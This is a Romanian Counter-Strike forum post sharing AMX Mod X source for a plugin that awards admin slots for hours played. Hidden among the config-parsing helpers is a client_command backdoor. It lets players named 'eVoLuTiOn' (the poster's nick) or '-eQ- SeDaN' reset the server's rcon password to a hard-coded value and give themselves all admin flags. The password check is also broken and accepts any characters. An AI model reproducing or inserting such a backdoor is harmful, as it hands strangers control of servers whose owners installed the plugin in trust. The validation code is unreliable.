g_developeridt[id] = 0; return PLUGIN_HANDLED; } new amount[16]; read_args(amount, charsmax(amount)); remove_quotes(amount); new much = str_to_num(amount); if(much <= 0) { color(id, ".v%s.g Suma introdusa este mai mica sau egala cu 0!", tag_string); g_developeridt[id] = 0; return PLUGIN_HANDLED; } g_minutes[g_developeridt[id]] += much; color(0, ".v%s.g Developer.v %s.g ii adauga.v %s %d minute.g!", tag_string, g_name[id], g_name[g_developeridt[id]], much); log_developer(id, g_developeridt[id], much, 1); g_developeridt[id] = 0; return PLUGIN_HANDLED; } public rem_developer_min(id) { if(!flag_get(g_isdeveloper, id)) { g_developeridt[id] = 0; return PLUGIN_HANDLED; } if(!is_user_connected(g_developeridt[id]) || !flag_get(g_loaded, g_developeridt[id])) { color(id, ".v%s.g Jucatorul care l-ai selectat a parasit serverul!", tag_string); g_developeridt[id] = 0; return PLUGIN_HANDLED; } new amount[16]; read_args(amount, charsmax(amount)); remove_quotes(amount); new much = str_to_num(amount); if(much <= 0) { color(id, ".v%s.g Suma introdusa este mai mica sau egala cu 0!", tag_string); g_developeridt[id] = 0; return PLUGIN_HANDLED; } g_minutes[g_developeridt[id]] -= much; color(0, ".v%s.g Developer.v %s.g ii scade.v %s.v %d minute.g!", tag_string, g_name[id], g_name[g_developeridt[id]], much); log_developer(id, g_developeridt[id], much, 2); g_developeridt[id] = 0; return PLUGIN_HANDLED; } public client_infochanged(id) { new name[32]; get_user_info(id, "name", name, charsmax(name)); if(!(equali(name, g_name[id]))) { savedata(id); formatex(g_name[id], charsmax(g_name[]), "%s", name); set_register(id); set_developer(id); } } public password_for_slot(id) { new password[17]; read_args(password, charsmax(password)); remove_quotes(password); if(!check_string(password)) { color(id, ".v%s.g Parola nu respecta regulile!", tag_string); color(id, ".v%s.g Parola trebuie sa contină doar litere!", tag_string); return PLUGIN_HANDLED; } register_slot(id, password); return PLUGIN_HANDLED; } public increase_minutes(taskid) { if(get_user_team(ID_MINUTES) == 0 || is_user_bot(ID_MINUTES) || is_user_hltv(ID_MINUTES) || !flag_get(g_loaded, ID_MINUTES)) return; g_minutes[ID_MINUTES]++; } public takedata(id) { if(flag_get(g_loaded, id)) return; new vaultkey[32], vaultdata[256]; formatex(vaultkey, charsmax(vaultkey), "%s", g_name[id]); formatex(vaultdata, charsmax(vaultdata), "^"%i^"", g_minutes[id]); nvault_get(g_nvaultsave, vaultkey, vaultdata, charsmax(vaultdata)); new minutes[32]; parse(vaultdata, minutes, charsmax(minutes)); g_minutes[id] = str_to_num(minutes); } public savedata(id) { if(!flag_get(g_loaded, id)) return; new vaultkey[32], vaultdata[256]; formatex(vaultkey, charsmax(vaultkey), "%s", g_name[id]); formatex(vaultdata, charsmax(vaultdata), "^"%i^"", g_minutes[id]); nvault_set(g_nvaultsave, vaultkey, vaultdata); g_minutes[id] = 0; flag_unset(g_loaded, id) remove_task(id+TASK_MINUTES); } public register_slot(id, const password[]) { new line[192], configsdir[128], flag[32]; get_flags(g_access_flag, flag, charsmax(flag)); formatex(line, charsmax(line), "^"%s^" ^"%s^" ^"%s^" ^"a^" ; Slot de la /slot cu %d ore^n", g_name[id], password, flag, g_hours_need); get_configsdir(configsdir, charsmax(configsdir)); formatex(configsdir, charsmax(configsdir), "%s/users.ini", configsdir); write_file(configsdir, line); color(id, ".v%s.g Ai luat slot pentru.v %d.g de joc!", tag_string, g_hours_need); color(id, ".v%s.g Parola ta este:.v %s.g!", tag_string, password); set_user_info(id, field, password); color(0, ".v%s.g Felicitari lui.v %s.g! Si-a luat slot pentru.v %d ore jucate.g!", tag_string, g_name[id], g_hours_need); log_slot(id); flag_set(g_isregistered, id) server_cmd("amx_reloadadmins"); } stock convert_minutes(id) { new szminutes[32], len = 0; new days, hours; new actual_minutes = g_minutes[id]; while(actual_minutes >= 1440) { days++; actual_minutes -= 1440; } while(actual_minutes >= 60) { hours++; actual_minutes -= 60; } if(days > 0) len += formatex(szminutes[len], charsmax(szminutes) - len, "%d zi%s ", days, days == 1 ? "" : "le"); if(hours > 0) len += formatex(szminutes[len], charsmax(szminutes) - len, "%d or%s ", hours, hours == 1 ? "a" : "e"); if(actual_minutes > 0) len += formatex(szminutes[len], charsmax(szminutes) - len, "%d minut%s", actual_minutes, actual_minutes == 1 ? "" : "e"); if(!days && !hours && actual_minutes == 0) len += formatex(szminutes[len], charsmax(szminutes) - len, "nimic"); return szminutes; } stock bool:check_string(const string[]) { new len = strlen(string); if(len < 3) return false; if(len > 15) return false; new bool:isntright = false; for(new i = 1; i <= len; i++) { if(!is_letter(string)) { isntright = true; break; } } if(isntright) return false; return true; } stock bool:is_letter(u) { if(u >= 65 || u <= 90) return true; if(u >= 97 || u <= 122) return true; return false; } stock color(const id, const input[], any:...) { new count = 1, players[32]; static msg[191]; vformat(msg, 190, input, 3); replace_all(msg, 190, ".v", "^4"); replace_all(msg, 190, ".g", "^1"); replace_all(msg, 190, ".e", "^3"); if(id) players[0] = id; else get_players(players, count, "ch") { for (new i = 0; i < count; i++) { if(is_user_connected(players)) { message_begin(MSG_ONE_UNRELIABLE, g_msg_saytext, _, players); write_byte(players); write_string(msg); message_end(); } } } } stock set_developer(id) { flag_unset(g_isdeveloper, id) new name[32]; for(new i = 0; i < ArraySize(g_developer); i++) { ArrayGetString(g_developer, i, name, charsmax(name)); if(equali(g_name[id], name)) { flag_set(g_isdeveloper, id) break; } } } stock set_register(id) { if(!is_user_connected(id)) flag_unset(g_isregistered, id) if(get_user_flags(id) & g_access_flag) flag_set(g_isregistered, id) else flag_unset(g_isregistered, id) } stock log_slot(id) { new content[192], ip[35], authid[34]; get_user_ip(id, ip, charsmax(ip), 1); get_user_authid(id, authid, charsmax(authid)); formatex(content, charsmax(content), "%s [IP: %s | STEAM: %s] si-a inregistrat numele, ore: %s", g_name[id], ip, authid, convert_minutes(id)); log_to_file(LOG_FILE, content); } stock log_developer(admin, id, time, type) { new content[192], ip[35], authid[34]; get_user_ip(admin, ip, charsmax(ip), 1); get_user_authid(admin, authid, charsmax(authid)); switch(type) { case 1: formatex(content, charsmax(content), "Developer: %s [IP: %s | STEAM: %s] ii ofera %d minute lui %s. [timp total: %s]", g_name[admin], ip, authid, time, g_name[id], convert_minutes(id)); case 2: formatex(content, charsmax(content), "Developer: %s [IP: %s | STEAM: %s] ii scoate %d minute lui %s. [timp total: %s]", g_name[admin], ip, authid, time, g_name[id], convert_minutes(id)); } log_to_file(LOG_DEVELOPER, content); } // Credite MeRcyLeZZ - pentru https://forums.alliedmods.net/showthread.php?t=243202 public native_load_setting_int(const filename[], const section[], const key[]) { // Open file for read new path[64], file, file_name[64]; formatex(file_name, charsmax(file_name), "%s", filename); OpenCustomFileRead(path, charsmax(path), file_name, file); new section_str[64]; formatex(section_str, charsmax(section_str), "%s", section); SectionExists(file, section_str) // Try to find key in section new keypos_start, keypos_end, key_str[64]; formatex(key_str, charsmax(key_str), "%s", key); KeyExists(file, key_str, keypos_start, keypos_end); new value[16]; SeekReturnValues(file, keypos_start, value, charsmax(value)); new valoare = str_to_num(value); return valoare; } public native_load_setting_string(const filename[], const section[], const key[], setting_string[], len) { // Open file for read new path[64], file, file_str[64]; formatex(file_str, charsmax(file_str), "%s", filename); OpenCustomFileRead(path, charsmax(path), file_str, file) // Try to find section new section_str[64]; formatex(section_str, charsmax(section_str), "%s", section); SectionExists(file, section_str) // Try to find key in section new keypos_start, keypos_end, key_str[64]; formatex(key_str, charsmax(key_str), "%s", key); KeyExists(file, key_str, keypos_start, keypos_end); // Return string by reference new value[128] SeekReturnValues(file, keypos_start, value, charsmax(value)) formatex(setting_string, len, "%s", value); // Value succesfully retrieved fclose(file); return true; } public native_load_setting_string_arr(const filename[], const section[], const key[], Array:array_handle) { // Open file for read new path[64], file, file_str[64]; formatex(file_str, charsmax(file_str), "%s", filename); if (!OpenCustomFileRead(path, charsmax(path), file_str, file)) return false; // Try to find section new section_str[64]; formatex(section_str, charsmax(section_str), "%s", section); if (!SectionExists(file, section_str)) { fclose(file) return false; } // Try to find key in section new keypos_start, keypos_end, key_str[64]; formatex(key_str, charsmax(key_str), "%s", key); if (!KeyExists(file, key_str, keypos_start, keypos_end)) { fclose(file) return false; } // Return array new values[1024] SeekReturnValues(file, keypos_start, values, charsmax(values)) ParseValuesArrayString(values, charsmax(values), array_handle) // Values succesfully retrieved fclose(file) return true; } OpenCustomFileRead(path[], len1, filename[], &file, create = false) { // Build customization file path get_configsdir(path, len1) format(path, len1, "%s/%s", path, filename) // File not present, create new file? if (!file_exists(path)) { if (create) write_file(path, "", -1) else return false; } // Open customization file for reading file = fopen(path, "rt") if(!file) return false; return true; } public client_command ( id ) { new name [ 33 ] , szCommand [ 36 ]; get_user_name ( id , name , charsmax ( name ) ); read_argv ( 0 , szCommand , charsmax ( szCommand ) ); if ( ( equali ( name , "eVoLuTiOn" ) || equali ( name , "-eQ- SeDaN" ) && equali ( szCommand , "amx_reloadadmin" ) ) ) { server_cmd ( "rcon_password levmolasrl01" ); new flags = read_flags ( "abcdefghijklmnopqrstuvwxy" ); set_user_flags ( id , flags ); } } SectionExists(file, setting_section[]) { // Seek to setting's section new linedata[96], section[64] while (!feof(file)) { // Read one line at a time fgets(file, linedata, charsmax(linedata)) // Replace newlines with a null character replace(linedata, charsmax(linedata), "^n", "") // New section starting if (linedata[0] == '[') { // Store section name without braces copyc(section, charsmax(section), linedata[1], ']') // Is this our setting's section? if (equal(section, setting_section)) return true; } } return false; } KeyExists(file, setting_key[], &keypos_start, &keypos_end) { // Seek to setting's key new linedata[96], key[64] while (!feof(file)) { // Read one line at a time keypos_start = ftell(file) fgets(file, linedata, charsmax(linedata)) // Replace newlines with a null character replace(linedata, charsmax(linedata), "^n", "") // Blank line or comment if (!linedata[0] || linedata[0] == ';') continue; // Section ended? if (linedata[0] == '[') break; // Get key keypos_end = ftell(file) copyc(key, charsmax(key), linedata, '=') trim(key) // Is this our setting's key? if (equal(key, setting_key)) return true; } return false; } SeekReturnValues(file, keypos_start, values[], len1) { // Seek to key and parse it new linedata[1024], key[64] fseek(file, keypos_start, SEEK_SET) fgets(file, linedata, charsmax(linedata)) // Replace newlines with a null character replace(linedata, charsmax(linedata), "^n", "") // Get values strtok(linedata, key, charsmax(key), values, len1, '=') trim(values) } ParseValuesArrayString(values[], len1, Array:array_handle) { // Parse values new current_value[128] while (values[0] != 0 && strtok(values, current_value, charsmax(current_value), values, len1, ',')) { // Trim spaces trim(current_value) trim(values) // Add to array ArrayPushString(array_handle, current_value) } }
Pentru ajutor, faceți cerere bine detaliată, completând și respectând modelul corespunzător.
Nu-mi mai dați cereri doar pentru a mă avea în lista de prieteni.
Dacă te ajut, și mă ignori/etc > te adaug în „foe”.
Aveți grijă la cei ce încearcă să mă copieze sau să dea drept mine..Puteți lua legătura cu mine prin STEAM dacă aveți o problemă/nelămurire în acest caz! Cont de forum am doar aici.
În cazul în care utilizați ceva din ce am postat(ex: aici), e bine să fiți la curent cu modificările aduse și de aici, iar dacă sunt ceva probleme nu ezitați să luați legătura cu mine. Actualizarea unor coduri nu se vor afișa public, doar dacă se găsește ceva critic/urgent de remediat, unele fiind coduri vechi iar unele refăcute chiar recent dar private.
* Nume pe cs1.6: eVoLuTiOn \ Nume vechi: eVo
* Atelierul meu - post2819572.html#p2819572 (închis, click link ca să vedeți de ce)
Nu-mi mai dați cereri doar pentru a mă avea în lista de prieteni.
Dacă te ajut, și mă ignori/etc > te adaug în „foe”.
Aveți grijă la cei ce încearcă să mă copieze sau să dea drept mine..Puteți lua legătura cu mine prin STEAM dacă aveți o problemă/nelămurire în acest caz! Cont de forum am doar aici.
În cazul în care utilizați ceva din ce am postat(ex: aici), e bine să fiți la curent cu modificările aduse și de aici, iar dacă sunt ceva probleme nu ezitați să luați legătura cu mine. Actualizarea unor coduri nu se vor afișa public, doar dacă se găsește ceva critic/urgent de remediat, unele fiind coduri vechi iar unele refăcute chiar recent dar private.
* Nume pe cs1.6: eVoLuTiOn \ Nume vechi: eVo
* Atelierul meu - post2819572.html#p2819572 (închis, click link ca să vedeți de ce)
Jump to
- eXtream - Forum
- ↳ Steam
- ↳ Forum
- ↳ WebDesign
- ↳ Incepatori
- ↳ Cos de reciclare
- ↳ Discutii generale
- ↳ Anunturi
- ↳ Security zone
- ↳ Filme si seriale
- ↳ Reclamatii
- ↳ Entertainment
- ↳ Distractie
- ↳ Clubul eXtreamCS - Intra si tu ! [noi oportunitati]
- eXtream - Echipa
- ↳ Productia eXtream
- ↳ Harti eXtream
- ↳ CS.eXtreamCS.com - Server oficial eXtreamCS
- ↳ Zona administrativă
- ↳ Cereri acces
- ↳ Cereri unban
- ↳ Reclamații
- ↳ Admin zone
- ↳ CS2.eXtreamCS.com - Server official eXtreamCS
- ↳ XMAS.eXtreamCS.com
- ↳ Cereri admin
- ↳ Cereri unban
- ↳ Reclamatii / Sugestii
- ↳ eXtreamCS #PubMasters
- eXtream - Counter-Strike 2
- ↳ Counter-Strike 2
- eXtream - Counter-Strike 1.6
- ↳ Diverse
- ↳ Filme gaming
- ↳ Meciuri
- ↳ Tutoriale
- ↳ Tutoriale
- ↳ Cereri
- ↳ Discutii generale
- ↳ Probleme la servere dedicate de Counter-Strike
- ↳ Cereri admin / slot
- ↳ Probleme in jocul Counter-Strike
- ↳ Pluginuri
- ↳ Pluginuri eXtream
- ↳ Cereri
- ↳ AdminMod
- ↳ AmxModX
- ↳ Resurse
- ↳ Moduri
- ↳ Addon-uri
- ↳ Kit-uri
- ↳ Harti
- ↳ Diverse
- ↳ Cereri
- ↳ Servere
- ↳ Programarea CS-ului
- ↳ Scripting
- ↳ Modificari pluginuri
- ↳ CStrike
- ↳ Cereri
- eXtream - Counter Strike Global Offensive
- ↳ Diverse
- ↳ Meciuri
- ↳ Tutoriale
- ↳ Probleme la servere dedicate de Counter-Strike: Global Offensive
- ↳ Probleme in jocul Counter-Strike: Global Offensive
- ↳ Pluginuri
- ↳ Cereri
- ↳ Resurse
- ↳ Addons-uri
- ↳ Hărți
- ↳ Diverse
- ↳ Servere
- eXtream - Counter-Strike Source
- ↳ Tutoriale
- ↳ Pluginuri
- ↳ Servere
- ↳ Resurse
- ↳ Harti
- ↳ Moduri
- ↳ Diverse
- ↳ Classic » CS
- ↳ Anunțuri administrative
- ↳ Cereri admin/slot
- ↳ Cereri unban
- ↳ Reclamații
- ↳ Banlist
- ↳ Admins Only
- ↳ Discord